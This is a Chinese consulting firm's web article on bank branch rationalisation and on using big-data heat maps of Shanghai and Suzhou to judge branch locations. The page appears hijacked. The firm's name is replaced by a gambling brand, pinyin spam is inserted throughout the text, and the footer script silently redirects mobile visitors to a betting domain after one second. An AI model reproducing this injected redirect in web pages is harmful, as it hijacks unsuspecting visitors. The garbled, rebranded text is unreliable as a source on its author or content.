ku游戏网站

今天是2021年(nian)7月27日(ri) 星期二,欢迎光临本站 

网点规划

大数据网点评估

文字:[大][中][小] 手机页面二维码 2018/7/15     浏览次数:    

  一、经济下行(xing)(xing)期间,银行(xing)(xing)网点数量下调(diao)已不可避免

  ku游戏网站咨询(xun)在2015年(nian)(nian)发表(biao)的(de)(de)文章《银行到底需要多少网(wang)(wang)点》中,通(tong)过(guo)对(dui)国内(nei)外(wai)银行几(ji)十年(nian)(nian)来的(de)(de)发展情况和数据分析,提出“网(wang)(wang)点数量的(de)(de)变化(hua)将受到电子化(hua)渠(qu)道(dao)的(de)(de)一定影响,但网(wang)(wang)点的(de)(de)数量和经济(ji)发展及经济(ji)周期更为密切(qie)。”

  2012年(nian)(nian)底,欧(ou)盟地区共有21.77万(wan)(wan)个(ge)(ge)银(yin)(yin)行网(wang)(wang)点(dian)(dian)。与中国银(yin)(yin)行网(wang)(wang)点(dian)(dian)过去近十年(nian)(nian)数量持(chi)续增长不同(tong),欧(ou)洲银(yin)(yin)行网(wang)(wang)点(dian)(dian)数量的上(shang)升(sheng)势头由于受到(dao)金融危机的影(ying)响,在2008年(nian)(nian)后嘎然而(er)止。自经济危机以(yi)(yi)(yi)来的四年(nian)(nian)间共计(ji)减少8%,近2万(wan)(wan)个(ge)(ge)网(wang)(wang)点(dian)(dian),其中2011年(nian)(nian)、2012年(nian)(nian)分(fen)别减少约7200个(ge)(ge)、5500个(ge)(ge)。为了摆脱持(chi)续为负的经济利润,近年(nian)(nian)来欧(ou)洲的银(yin)(yin)行一直(zhi)把重(zhong)点(dian)(dian)放在运营成本(ben)的控(kong)制上(shang)。美国银(yin)(yin)行、花旗和摩(mo)根大(da)通(tong)(tong)自2015年(nian)(nian)第三季度以(yi)(yi)(yi)来,已经关闭(bi)了389个(ge)(ge)网(wang)(wang)点(dian)(dian)。据2016年(nian)(nian)三季度财报(bao),富国银(yin)(yin)行的信用使(shi)用,消费者(zhe)忠诚度,以(yi)(yi)(yi)及银(yin)(yin)行管理(li)者(zhe)和消费者(zhe)的沟(gou)通(tong)(tong),都急剧下降。里(li)昂证券分(fen)析(xi)师称,无论富国银(yin)(yin)行是否(fou)意识到(dao)这个(ge)(ge)问题,他们将会关闭(bi)1000个(ge)(ge)网(wang)(wang)点(dian)(dian),问题只是何时(shi)会关闭(bi)。

  在全球的(de)(de)银行(xing)体系中,相对(dui)于哀鸿遍野、大面积亏损的(de)(de)欧洲(zhou)银行(xing)业,相对(dui)于刚刚从金融危机中走出来的(de)(de)美(mei)国(guo)银行(xing)业,中国(guo)的(de)(de)银行(xing)业可(ke)以(yi)说是“硕果仅存”。尽管国(guo)内的(de)(de)银行(xing)目前仍然是全球盈利(li)能力最强(qiang)的(de)(de)银行(xing),但是也面临着(zhe)经(jing)济下行(xing)、成本骤增和利(li)润(run)增速下降的(de)(de)巨(ju)大挑战。

     

                          过(guo)去5年(nian)来国内银行(xing)的利润增(zeng)长(zhang)情况

  在上一(yi)轮(lun)经济(ji)(ji)周期,银行(xing)(xing)业在各(ge)行(xing)(xing)业收入较(jiao)高(gao)。但(dan)在当前经济(ji)(ji)下(xia)行(xing)(xing)周期、利(li)(li)率市场化(hua)的(de)背景(jing)下(xia),银行(xing)(xing)业利(li)(li)润增速下(xia)滑,银行(xing)(xing)业员工(gong)(gong)离职数增加。多(duo)家银行(xing)(xing)在年报及中(zhong)报中(zhong)也提出主动减员以压缩(suo)(suo)人(ren)工(gong)(gong)成本。此外,随着银行(xing)(xing)互联网金(jin)融的(de)兴起(qi),客户对物(wu)理网点及人(ren)工(gong)(gong)服务的(de)需求下(xia)降,电子(zi)渠道(dao)替(ti)代率上升。这将导致银行(xing)(xing)人(ren)工(gong)(gong)需求下(xia)降,相(xiang)应收缩(suo)(suo)物(wu)理网点。

  据四大行(xing)年(nian)报(bao)数(shu)(shu)据,2012-2015年(nian)间中(zhong)行(xing)、建行(xing)和农行(xing)的物(wu)(wu)理(li)网(wang)点数(shu)(shu)均(jun)有增加。同期工(gong)行(xing)物(wu)(wu)理(li)网(wang)点数(shu)(shu)量有增有减(jian),小幅波(bo)动(dong)。截至(zhi)2016年(nian)6月末,农行(xing)、建行(xing)物(wu)(wu)理(li)网(wang)点相比2015年(nian)末小幅增长,中(zhong)行(xing)、工(gong)行(xing)物(wu)(wu)理(li)网(wang)点均(jun)出(chu)现减(jian)少(shao)。

  包括邮(you)储银(yin)行在(zai)内(nei)的(de)五(wu)大(da)银(yin)行网(wang)点(dian)数(shu)量(liang)要(yao)占(zhan)到全国网(wang)点(dian)总量(liang)的(de)近一半左右,起着举足轻重的(de)作用,五(wu)大(da)银(yin)行网(wang)点(dian)的(de)调整(zheng)策略是一种博弈(yi)均衡,某几(ji)家银(yin)行在(zai)网(wang)点(dian)数(shu)量(liang)上一段时(shi)间的(de)累积(ji)调整(zheng),将(jiang)会打破(po)这种均衡。在(zai)经济(ji)下行、网(wang)点(dian)租金和人员成本不(bu)断攀升、银(yin)行利(li)润(run)步入“零时(shi)代”的(de)大(da)背景下,今后(hou)几(ji)年银(yin)行网(wang)点(dian)数(shu)量(liang)的(de)调减很可能会出(chu)现“多米诺骨牌”的(de)效应。

  二、如何(he)运用大数据热(re)力(li)图迅速识别待调整的网点机构(gou)

 曾有(you)(you)一家美国主要银(yin)行(xing)(xing)(xing)声称其近75%的(de)(de)网(wang)(wang)点(dian)(dian)(dian)处(chu)于亏损(sun)状(zhuang)态(tai),由于各家行(xing)(xing)(xing)的(de)(de)管理(li)会计计算(suan)口径和(he)标(biao)准不一样,网(wang)(wang)点(dian)(dian)(dian)的(de)(de)亏损(sun)面(mian)是否有(you)(you)这(zhei)么(me)大仍然有(you)(you)待商(shang)榷,不过(guo)每家银(yin)行(xing)(xing)(xing)都有(you)(you)一些网(wang)(wang)点(dian)(dian)(dian)长期处(chu)于低(di)(di)效状(zhuang)态(tai),令管理(li)者颇感头疼(teng)。在低(di)(di)产低(di)(di)效网(wang)(wang)点(dian)(dian)(dian)中,一些是属(shu)于网(wang)(wang)点(dian)(dian)(dian)经营(ying)的(de)(de)管理(li)问题(ti)(ti),而另(ling)一些确实是网(wang)(wang)点(dian)(dian)(dian)所在区域的(de)(de)客户(hu)数(shu)量(liang)和(he)分(fen)布(bu)问题(ti)(ti)。为了避免“误伤”,银(yin)行(xing)(xing)(xing)管理(li)层在进(jin)行(xing)(xing)(xing)网(wang)(wang)点(dian)(dian)(dian)调整决策时,需要对(dui)网(wang)(wang)点(dian)(dian)(dian)周边的(de)(de)客户(hu)分(fen)布(bu)情(qing)况进(jin)行(xing)(xing)(xing)分(fen)析。

  在网点(dian)布局过程中(zhong),“雷利(li)法则”(又称“零售(shou)吸引力(li)法则”)是个(ge)(ge)重(zhong)要的(de)理论(lun)依据,雷利(li)认(ren)为:”具有零售(shou)中(zhong)心地机(ji)能的(de)两个(ge)(ge)区(qu)域.对位(wei)于其中(zhong)间的(de)一个(ge)(ge)区(qu)域的(de)零售(shou)交(jiao)易的(de)吸引力(li)与(yu)两区(qu)域的(de)人口成正比.与(yu)两区(qu)域的(de)距离平方成反比,即网点(dian)应该尽可(ke)能靠近目标客(ke)户群密度(du)比较大的(de)区(qu)域。

在移动互联(lian)时(shi)代,可以借助大数据(ju)的(de)方式(shi)来分析(xi)客(ke)户的(de)分布(bu)状况。相比于传(chuan)统的(de)“数人流”、“扫(sao)大街、扫(sao)楼(lou)盘”进(jin)行调研的(de)方式(shi),通过大数据(ju)热力图可以更准确、高(gao)效地识别待评估网点所在区域的(de)客(ke)群分布(bu)情(qing)况。

  借(jie)助客(ke)户分(fen)布的大数据热(re)(re)力(li)图(tu),可(ke)以迅速识别客(ke)户聚集(ji)的区域,如(ru)下图(tu)为上海市的中(zhong)(zhong)心城区热(re)(re)力(li)图(tu)示例,可(ke)以通过本行现(xian)有(you)网(wang)点分(fen)布和(he)热(re)(re)力(li)图(tu)中(zhong)(zhong)人口聚集(ji)区域的匹(pi)配度来快速识别现(xian)有(you)网(wang)点分(fen)布的合(he)理性(xing)。

      

  通过对每(mei)个区(qu)域(yu)不同时段客群的(de)分布情(qing)况(kuang),结合(he)现(xian)有网点的(de)业(ye)务经营(ying)情(qing)况(kuang),还可(ke)以(yi)对现(xian)有网点提出调(diao)整建议(yi)。

      

  上面(mian)的几张(zhang)热力图分(fen)(fen)别(bie)是苏州某区域在凌晨2点(居(ju)(ju)住人口分(fen)(fen)布(bu))、上午(wu)10点30分(fen)(fen)(商务办公、居(ju)(ju)住和商业(ye)活动人口分(fen)(fen)布(bu))、晚上8点40分(fen)(fen)(商业(ye)活动、居(ju)(ju)住人口)的各(ge)类人口分(fen)(fen)布(bu)情(qing)况。通过在不(bu)同(tong)时间阶(jie)段的几张(zhang)图的对(dui)比(bi)分(fen)(fen)析(xi),可以识-别以下(xia)信息:

  --居民区分布情况(凌(ling)晨2点人流分布图);

  --区(qu)(qu)域人口流动情况(现(xian)代(dai)大(da)道以南热力(li)变化明显(xian):凌(ling)晨时刻人流相对较小,白天人流到达(da)高(gao)峰,晚(wan)上(shang)又(you)逐步减小。此区(qu)(qu)域呈现(xian)明显(xian)的商务、商业区(qu)(qu)特性);

  --白(bai)天人流量比(bi)较密集的(de)区(qu)域(yu)(如热力图(tu)显示(shi)的(de)时代广场、圆融星座区(qu)域(yu));

  --现代大(da)(da)道以北(bei)的(de)雅戈尔雷迪(di)森广(guang)场(chang)周边(bian)为大(da)(da)型居民(min)区和(he)社区商业,白天和(he)晚上客户的(de)人流量都较(jiao)大(da)(da)且相对稳定;

……  

     

     

  结(jie)合银行(xing)网(wang)(wang)(wang)点(dian)(dian)(dian)(尤其(qi)是(shi)低(di)产(chan)低(di)效网(wang)(wang)(wang)点(dian)(dian)(dian))和(he)热力图上各个(ge)时(shi)间阶段客户(hu)的(de)分(fen)布情(qing)况(kuang),可(ke)以(yi)比较(jiao)快速地识(shi)别可(ke)能的(de)问(wen)题(ti)网(wang)(wang)(wang)点(dian)(dian)(dian)/待调整网(wang)(wang)(wang)点(dian)(dian)(dian),以(yi)及各网(wang)(wang)(wang)点(dian)(dian)(dian)的(de)定(ding)位。如上图中(zhong),某(mou)银行(xing)在(zai)该区(qu)(qu)域有A、B、C三个(ge)网(wang)(wang)(wang)点(dian)(dian)(dian),A网(wang)(wang)(wang)点(dian)(dian)(dian)周边主(zhu)要(yao)为社区(qu)(qu)类客户(hu),偏对私型网(wang)(wang)(wang)点(dian)(dian)(dian);B网(wang)(wang)(wang)点(dian)(dian)(dian)周边主(zhu)要(yao)是(shi)商(shang)务(wu)和(he)商(shang)业流动人(ren)(ren)口,可(ke)兼顾附近写(xie)字楼(lou)内(nei)的(de)公司客户(hu)和(he)工作人(ren)(ren)口,定(ding)位为综合性(xing)网(wang)(wang)(wang)点(dian)(dian)(dian);C网(wang)(wang)(wang)点(dian)(dian)(dian)所在(zai)的(de)区(qu)(qu)域不管是(shi)白天(tian)还是(shi)晚上的(de)人(ren)(ren)口分(fen)布(即(ji)工作人(ren)(ren)口和(he)居住人(ren)(ren)口),都(dou)要(yao)显著弱于其(qi)他区(qu)(qu)域,结(jie)合网(wang)(wang)(wang)点(dian)(dian)(dian)的(de)经营情(qing)况(kuang),可(ke)以(yi)判定(ding)C网(wang)(wang)(wang)点(dian)(dian)(dian)是(shi)否属于潜在(zai)需要(yao)调整的(de)网(wang)(wang)(wang)点(dian)(dian)(dian)。

 欲了(le)解更(geng)多关于运用大数据进行网(wang)点后评估(gu)的服务内(nei)容,请致电ku游戏网站咨询公司021-55158005 或 13818970338 转客户(hu)部。

返回上一步
打印此页
13818970338
浏(liu)览手机站
微信二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();